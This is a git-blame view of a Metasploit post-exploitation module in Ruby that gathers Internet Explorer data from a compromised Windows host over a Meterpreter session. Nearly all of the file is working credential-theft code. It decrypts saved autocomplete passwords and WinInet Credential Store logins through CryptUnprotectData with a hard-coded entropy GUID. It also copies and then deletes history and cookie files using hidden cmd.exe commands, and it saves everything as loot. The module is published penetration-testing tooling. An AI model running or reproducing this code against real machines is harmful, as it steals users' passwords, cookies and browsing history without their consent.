Files
metasploit-gs/modules/post/windows/gather/enum_ie.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

443 lines
13 KiB
Ruby
Raw Normal View History

2011-10-07 21:02:05 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-10-07 21:02:05 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2011-10-07 21:02:05 +00:00
include Msf::Post::File
include Msf::Post::Windows::Registry
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
2023-02-08 13:47:34 +00:00
'Name' => 'Windows Gather Internet Explorer User Data Enumeration',
2021-09-10 12:53:39 +01:00
'Description' => %q{
This module will collect history, cookies, and credentials (from either HTTP
auth passwords, or saved form passwords found in auto-complete) in
Internet Explorer. The ability to gather credentials is only supported
for versions of IE >=7, while history and cookies can be extracted for all
versions.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
2021-10-06 13:43:31 +01:00
'Author' => ['Kx499'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
stdapi_fs_stat
stdapi_railgun_api
stdapi_sys_config_getenv
stdapi_sys_config_sysinfo
stdapi_sys_process_attach
stdapi_sys_process_execute
stdapi_sys_process_get_processes
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]
}
}
2021-09-10 12:53:39 +01:00
)
)
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2011-10-07 21:02:05 +00:00
#
# RAILGUN HELPER FUNCTIONS
#
def is_86
pid = session.sys.process.open.pid
2023-02-08 13:47:34 +00:00
return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2011-10-07 21:02:05 +00:00
def pack_add(data)
if is_86
2023-02-08 13:47:34 +00:00
addr = [data].pack('V')
2011-10-07 21:02:05 +00:00
else
2023-02-08 13:47:34 +00:00
addr = [data].pack('Q<')
2011-10-07 21:02:05 +00:00
end
return addr
end
2013-08-30 16:28:54 -05:00
2011-10-07 21:02:05 +00:00
def mem_write(data, length)
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(length)
process.memory.write(mem, data)
return mem
end
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
def read_str(address, len, type)
2011-10-07 21:02:05 +00:00
begin
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
raw = process.memory.read(address, len)
2021-09-10 12:53:39 +01:00
if type == 0 # unicode
2023-02-08 13:47:34 +00:00
str_data = raw.gsub("\x00", '')
2021-09-10 12:53:39 +01:00
elsif type == 1 # null terminated
2023-02-08 13:47:34 +00:00
str_data = raw.unpack('Z*')[0]
2021-09-10 12:53:39 +01:00
elsif type == 2 # raw data
2011-10-07 21:02:05 +00:00
str_data = raw
end
2023-02-08 13:47:34 +00:00
rescue StandardError
2011-10-07 21:02:05 +00:00
str_data = nil
end
2023-02-08 13:47:34 +00:00
return str_data || 'Error Decrypting'
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2011-10-07 21:02:05 +00:00
#
# DECRYPT FUNCTIONS
#
2021-09-10 12:53:39 +01:00
def decrypt_reg(entropy, data)
2011-10-07 21:02:05 +00:00
c32 = session.railgun.crypt32
2021-09-10 12:53:39 +01:00
# set up entropy
2011-10-07 21:02:05 +00:00
salt = []
entropy.each_byte do |c|
salt << c
end
2023-02-08 13:47:34 +00:00
ent = salt.pack('v*')
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# save values to memory and pack addresses
2011-10-07 21:02:05 +00:00
mem = mem_write(data, 1024)
mem2 = mem_write(ent, 1024)
addr = pack_add(mem)
len = pack_add(data.length)
eaddr = pack_add(mem2)
2021-09-10 12:53:39 +01:00
elen = pack_add((entropy.length + 1) * 2)
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# cal railgun to decrypt
2011-10-07 21:02:05 +00:00
if is_86
2021-09-10 12:53:39 +01:00
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 8)
2023-02-08 13:47:34 +00:00
len, add = ret['pDataOut'].unpack('V2')
2011-10-07 21:02:05 +00:00
else
2021-09-10 12:53:39 +01:00
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 16)
2023-02-08 13:47:34 +00:00
len, add = ret['pDataOut'].unpack('Q2')
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
return '' unless ret['return']
2021-09-10 12:53:39 +01:00
2011-10-07 21:02:05 +00:00
return read_str(add, len, 2)
end
2013-08-30 16:28:54 -05:00
2011-10-07 21:02:05 +00:00
def decrypt_cred(daddr, dlen)
c32 = session.railgun.crypt32
2021-09-10 12:53:39 +01:00
# set up entropy
2023-02-08 13:47:34 +00:00
guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7'
2011-10-07 21:02:05 +00:00
ent_sz = 74
salt = []
guid.each_byte do |c|
2021-09-10 12:53:39 +01:00
salt << c * 4
2011-10-07 21:02:05 +00:00
end
2023-02-08 13:47:34 +00:00
ent = salt.pack('v*')
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# write entropy to memory and pack addresses
mem = mem_write(ent, 1024)
2011-10-07 21:02:05 +00:00
addr = pack_add(daddr)
len = pack_add(dlen)
eaddr = pack_add(mem)
elen = pack_add(ent_sz)
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# prep vars and call function
2011-10-07 21:02:05 +00:00
if is_86
2021-09-10 12:53:39 +01:00
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
2023-02-08 13:47:34 +00:00
len, add = ret['pDataOut'].unpack('V2')
2011-10-07 21:02:05 +00:00
else
2021-09-10 12:53:39 +01:00
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
2023-02-08 13:47:34 +00:00
len, add = ret['pDataOut'].unpack('Q<2')
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# get data, and return it
2023-02-08 13:47:34 +00:00
return '' unless ret['return']
2021-09-10 12:53:39 +01:00
2011-10-07 21:02:05 +00:00
return read_str(add, len, 0)
end
2013-08-30 16:28:54 -05:00
2011-10-07 21:02:05 +00:00
#
# Extract IE Data Functions
#
def get_stuff(path, history)
2021-09-10 12:53:39 +01:00
t = DateTime.new(1601, 1, 1, 0, 0, 0)
2023-02-08 13:47:34 +00:00
tmpout = ''
2011-10-07 21:02:05 +00:00
if history
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m
2021-09-10 12:53:39 +01:00
else # get cookies
2011-10-07 21:02:05 +00:00
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m
end
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
outfile = session.fs.file.new(path, 'rb')
2011-10-07 21:02:05 +00:00
until outfile.eof?
2023-02-08 13:47:34 +00:00
begin
tmpout << outfile.read
rescue StandardError
nil
end
2011-10-07 21:02:05 +00:00
end
outfile.close
2013-08-30 16:28:54 -05:00
2011-10-07 21:02:05 +00:00
urls = tmpout.scan(re)
urls.each do |url|
2021-09-10 12:53:39 +01:00
# date modified
2011-10-07 21:02:05 +00:00
hist = {}
origh = url[0].unpack('H*')[0]
2023-02-08 13:47:34 +00:00
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
2011-10-07 21:02:05 +00:00
newh = harr.reverse.join
hfloat = newh.hex.to_f
2021-09-10 12:53:39 +01:00
sec = hfloat / 10000000
days = sec / 86400
2011-10-07 21:02:05 +00:00
timestamp = t + days
2023-02-08 13:47:34 +00:00
hist['dtmod'] = timestamp.to_s
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# date accessed
2011-10-07 21:02:05 +00:00
origh = url[1].unpack('H*')[0]
2023-02-08 13:47:34 +00:00
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
2011-10-07 21:02:05 +00:00
newh = harr.reverse.join
hfloat = newh.hex.to_f
2021-09-10 12:53:39 +01:00
sec = hfloat / 10000000
days = sec / 86400
2011-10-07 21:02:05 +00:00
timestamp = t + days
2023-02-08 13:47:34 +00:00
hist['dtacc'] = timestamp.to_s
hist['url'] = url[2]
2011-10-07 21:02:05 +00:00
if history
@hist_col << hist
2023-02-08 13:47:34 +00:00
@hist_table << [hist['dtmod'], hist['dtacc'], hist['url']]
else
2023-02-08 13:47:34 +00:00
@cook_table << [hist['dtmod'], hist['dtacc'], hist['url']]
2011-10-07 21:02:05 +00:00
end
end
end
2013-08-30 16:28:54 -05:00
2011-10-07 21:02:05 +00:00
def hash_url(url)
rg_advapi = session.railgun.advapi32
tail = 0
2023-02-08 13:47:34 +00:00
prov = 'Microsoft Enhanced Cryptographic Provider v1.0'
2011-10-07 21:02:05 +00:00
flag = 0xF0000000
context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)
h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)
2021-09-10 12:53:39 +01:00
hdata = rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1) * 2, 0)
hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20, 0)
2023-02-08 13:47:34 +00:00
hval_arr = hparam['pbData'].unpack('C*')
hval = hparam['pbData'].unpack('H*')[0]
2011-10-07 21:02:05 +00:00
rg_advapi.CryptDestroyHash(h['phHash'])
rg_advapi.CryptReleaseContext(context['phProv'], 0)
2021-09-10 12:53:39 +01:00
tail = hval_arr.inject(0) { |s, v| s += v }
2023-02-08 13:47:34 +00:00
htail = ('%02x' % tail)[-2, 2]
2011-10-07 21:02:05 +00:00
return "#{hval}#{htail}"
end
2013-08-30 16:28:54 -05:00
2011-10-07 21:02:05 +00:00
def run
2021-09-10 12:53:39 +01:00
# check for meterpreter and version of ie
2023-02-08 13:47:34 +00:00
if (session.type != 'meterpreter') && session.platform !~ (/win/)
print_error('This module only works with Windows Meterpreter sessions')
2011-10-07 21:02:05 +00:00
return 0
end
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# get version of ie and check it
2023-02-08 13:47:34 +00:00
ver = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Internet Explorer', 'Version')
2011-10-07 21:02:05 +00:00
print_status("IE Version: #{ver}")
if ver =~ /(6\.|5\.)/
2023-02-08 13:47:34 +00:00
print_error('This module will only extract credentials for >= IE7')
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# setup tables
2016-08-10 13:30:09 -05:00
@hist_table = Rex::Text::Table.new(
2023-02-08 13:47:34 +00:00
'Header' => 'History data',
'Indent' => 1,
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
2021-09-10 12:53:39 +01:00
)
2013-08-30 16:28:54 -05:00
2016-08-10 13:30:09 -05:00
@cook_table = Rex::Text::Table.new(
2023-02-08 13:47:34 +00:00
'Header' => 'Cookies data',
'Indent' => 1,
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
2021-09-10 12:53:39 +01:00
)
2013-08-30 16:28:54 -05:00
2016-08-10 13:30:09 -05:00
cred_table = Rex::Text::Table.new(
2023-02-08 13:47:34 +00:00
'Header' => 'Credential data',
'Indent' => 1,
'Columns' => ['Type', 'Url', 'User', 'Pass']
2021-09-10 12:53:39 +01:00
)
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# set up vars
2011-10-07 21:02:05 +00:00
host = session.sys.config.sysinfo
@hist_col = []
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# set paths
2023-02-08 13:47:34 +00:00
regpath = 'HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2'
vist_h = '\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat'
vist_hlow = '\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat'
xp_h = '\\Local Settings\\History\\History.IE5\\index.dat'
vist_c = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat'
vist_clow = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat'
xp_c = '\\Cookies\\index.dat'
2011-10-07 21:02:05 +00:00
h_paths = []
c_paths = []
base = session.sys.config.getenv('USERPROFILE')
2011-10-07 21:02:05 +00:00
if host['OS'] =~ /(Windows 7|2008|Vista)/
h_paths << base + vist_h
h_paths << base + vist_hlow
c_paths << base + vist_c
c_paths << base + vist_clow
else
2021-09-10 12:53:39 +01:00
h_paths << base + xp_h
2011-10-07 21:02:05 +00:00
c_paths << base + xp_c
end
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# Get history and cookies
2023-02-08 13:47:34 +00:00
print_status('Retrieving history.....')
2011-10-07 21:02:05 +00:00
h_paths.each do |hpath|
2023-02-08 13:47:34 +00:00
next unless session.fs.file.exist?(hpath)
print_line("\tFile: #{hpath}")
# copy file
cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""
r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })
# loop until cmd is done
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
# end
sleep(1)
# get stuff and delete
get_stuff("#{base}\\index.dat", true)
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
print_status('Retrieving cookies.....')
2011-10-07 21:02:05 +00:00
c_paths.each do |cpath|
2023-02-08 13:47:34 +00:00
next unless session.fs.file.exist?(cpath)
print_line("\tFile: #{cpath}")
# copy file
cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""
r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })
# loop until cmd is done
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
# end
sleep(1)
# get stuff and delete
get_stuff("#{base}\\index.dat", false)
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# get autocomplete creds
2023-02-08 13:47:34 +00:00
print_status('Looping through history to find autocomplete data....')
2011-10-07 21:02:05 +00:00
val_arr = registry_enumvals(regpath)
if val_arr
2011-10-07 21:02:05 +00:00
@hist_col.each do |hitem|
2023-02-08 13:47:34 +00:00
url = hitem['url'].split('?')[0].downcase
2011-10-07 21:02:05 +00:00
hash = hash_url(url).upcase
2023-02-08 13:47:34 +00:00
next unless val_arr.include?(hash)
data = registry_getvaldata(regpath, hash)
dec = decrypt_reg(url, data)
# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
# returning an array of nils. If this happens, we can cause an "undefined method
# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
next if dec.empty?
# decode data and add to creds array
header = dec.unpack('VVVVVV')
offset = header[0] + header[1] # offset to start of data
cnt = header[5] / 2 # of username/password combinations
secrets = dec[offset, dec.length - (offset + 1)].split("\x00\x00")
for i in (0..cnt).step(2)
cred = {}
cred['type'] = 'Auto Complete'
cred['url'] = url
cred['user'] = secrets[i].gsub("\x00", '')
cred['pass'] = secrets[i + 1].gsub("\x00", '') unless secrets[i + 1].nil?
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
2011-10-07 21:02:05 +00:00
end
end
else
2023-02-08 13:47:34 +00:00
print_error('No autocomplete entries found in registry')
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# get creds from credential store
2023-02-08 13:47:34 +00:00
print_status('Looking in the Credential Store for HTTP Authentication Creds...')
2021-09-10 12:53:39 +01:00
# get data from credential store
ret = session.railgun.advapi32.CredEnumerateA(nil, 0, 4, 4)
2023-02-08 13:47:34 +00:00
p_to_arr = ret['Credentials'].unpack('V')
arr_len = ret['Count'] * 4 if is_86
arr_len = ret['Count'] * 8 unless is_86
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# read array of addresses as pointers to each structure
raw = read_str(p_to_arr[0], arr_len, 2)
2023-02-08 13:47:34 +00:00
pcred_array = raw.unpack('V*') if is_86
pcred_array = raw.unpack('Q<*') unless is_86
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# loop through the addresses and read each credential structure
2011-10-07 21:02:05 +00:00
pcred_array.each do |pcred|
2021-09-10 12:53:39 +01:00
raw = read_str(pcred, 52, 2)
2023-02-08 13:47:34 +00:00
cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86
cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
location = read_str(cred_struct[2], 512, 1)
2023-02-08 13:47:34 +00:00
next unless location.include? 'Microsoft_WinInet'
decrypted = decrypt_cred(cred_struct[6], cred_struct[5])
cred = {}
cred['type'] = 'Credential Store'
cred['url'] = location.gsub('Microsoft_WinInet_', '')
cred['user'] = decrypted.split(':')[0] || 'No Data'
cred['pass'] = decrypted.split(':')[1] || 'No Data'
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2021-09-10 12:53:39 +01:00
# store data in loot
2023-02-08 13:47:34 +00:00
if !@hist_table.rows.empty?
print_status('Writing history to loot...')
2011-10-07 21:02:05 +00:00
path = store_loot(
'ie.history',
'text/plain',
session,
@hist_table,
'ie_history.txt',
2021-09-10 12:53:39 +01:00
'Internet Explorer Browsing History'
)
2017-07-19 13:02:49 +01:00
print_good("Data saved in: #{path}")
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
if !@cook_table.rows.empty?
print_status('Writing cookies to loot...')
2011-10-07 21:02:05 +00:00
path = store_loot(
'ie.cookies',
'text/plain',
session,
@cook_table,
'ie_cookies.txt',
2021-09-10 12:53:39 +01:00
'Internet Explorer Cookies'
)
2017-07-19 13:02:49 +01:00
print_good("Data saved in: #{path}")
2011-10-07 21:02:05 +00:00
end
2013-08-30 16:28:54 -05:00
2023-02-08 13:47:34 +00:00
if !cred_table.rows.empty?
print_status('Writing gathered credentials to loot...')
2011-10-07 21:02:05 +00:00
path = store_loot(
'ie.user.creds',
'text/plain',
session,
cred_table,
'ie_creds.txt',
2021-09-10 12:53:39 +01:00
'Internet Explorer User Credentials'
)
2013-08-30 16:28:54 -05:00
2017-07-19 13:02:49 +01:00
print_good("Data saved in: #{path}")
2021-09-10 12:53:39 +01:00
# print creds
2023-02-08 13:47:34 +00:00
print_line('')
2011-10-07 21:02:05 +00:00
print_line(cred_table.to_s)
end
end
end